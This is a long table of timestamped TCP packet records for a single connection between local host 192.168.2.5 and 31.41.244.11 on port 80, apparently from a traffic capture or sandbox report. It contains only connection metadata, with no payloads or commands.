Dec 17, 2024 08:03:19.375638008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.375689030 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.375693083 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.375741959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.377022028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.377068996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.377137899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.377185106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.378418922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.378478050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.378519058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.378571987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.379878044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.379930973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.380004883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.380059004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.381251097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.381303072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.381418943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.381468058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.382683992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.382751942 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.382807970 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.382862091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.384120941 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.384169102 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.384217024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.384272099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.385597944 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.385654926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.385680914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.385732889 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.386915922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.386993885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.501153946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.501198053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.501231909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.501269102 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.501692057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.501743078 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.501760960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.501807928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.502830029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.502881050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.502979040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.503029108 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.504004955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.504053116 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.504115105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.504228115 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.505106926 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.505160093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.505208969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.505254984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.506233931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.506283045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.506344080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.506392956 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.507349014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.507405996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.507453918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.507503033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.508461952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.508512974 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.508590937 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.508640051 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.509532928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.509583950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.509584904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.509632111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.510622025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.510669947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.510801077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.510852098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.511704922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.511756897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.511854887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.511904001 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.512809038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.512859106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.512955904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.513003111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.513899088 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.513951063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.514024019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.514070988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.515027046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.515079975 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.515127897 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.515175104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.516064882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.516113997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.516176939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.516238928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.517160892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.517213106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.517276049 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.517323971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.518253088 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.518302917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.518412113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.518457890 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.519385099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.519435883 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.519438982 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.519484997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.520509005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.520558119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.520622015 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.520668983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.521533966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.521583080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.521686077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.521733999 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.522635937 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.522686005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.522744894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.522794962 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.523683071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.523732901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.523814917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.523863077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.524796963 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.524847984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.524857044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.524905920 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.525909901 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.525959015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.526026011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.526073933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.526953936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.527007103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.527081966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.527132034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.528070927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.528120995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.528146029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.528191090 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.529162884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.529213905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.529346943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.529395103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.530392885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.530445099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.530462980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.530508041 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.531353951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.531402111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.531462908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.531507969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.532536983 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.532586098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.532655954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.532701969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.533561945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.533612967 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.533668995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.533714056 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.534673929 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.534725904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.534791946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.534837961 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.535748005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.535794973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.535859108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.535902977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.536853075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.536886930 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.536900043 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.536931038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.537904024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.537950993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.538016081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.538060904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.538983107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.539035082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.539113045 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.539160967 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.540077925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.540134907 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.540183067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.540231943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.541172981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.541225910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.541270018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.541321993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.542229891 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.542289019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.542350054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.542409897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.543369055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.543401957 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.543416977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.543452024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.544419050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.544469118 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.544528961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.544574022 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.545542002 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.545589924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.545737028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.545784950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.546618938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.546668053 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.546727896 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.546777010 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.547694921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.547744036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.547789097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.547835112 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.548810959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.548857927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.548921108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.548968077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.549875021 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.549935102 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.549998045 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.550044060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.550975084 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.551035881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.551067114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.551116943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.552047968 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.552098989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.552161932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.552210093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.553318977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.553369045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.553369999 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.553416014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.554238081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.554287910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.554347992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.554394960 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.555380106 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.555433989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.555519104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.555565119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.556502104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.556555033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.556585073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.556632996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.557514906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.557564020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.557624102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.557671070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.558639050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.558703899 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.713767052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.713839054 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.713877916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.714205027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.714258909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.714310884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.714327097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.714390039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.723225117 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.723283052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.723294973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.723340988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.723639011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.723692894 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.723757982 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.723892927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.724715948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.724771023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.725817919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.725876093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.725931883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.726716995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.726891994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.727010012 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.727381945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.728003025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.728059053 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.728136063 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.728193998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.729093075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.729142904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.729208946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.729470968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.730194092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.730247021 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.730248928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.730290890 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.731261969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.731318951 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.731393099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.731472969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.732371092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.732426882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.732608080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.733442068 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.733577967 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.734549046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.734607935 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.734636068 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.734713078 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.735666990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.735723019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.735793114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.735841036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.736701012 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.736753941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.736820936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.736865997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.737916946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.737970114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.738050938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.738100052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.738899946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.738955975 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.739080906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.740005970 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.740179062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.740247011 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.741063118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.741198063 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.741705894 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.742151022 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.742208004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.742261887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.742311954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.743247032 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.743299007 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.743385077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.743442059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.744353056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.744405985 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.744406939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.744455099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.745444059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.745497942 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.745575905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.745635986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.746534109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.746718884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.747626066 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.747672081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.747705936 CET	49844	80	192.168.2.5	31.41.244.11
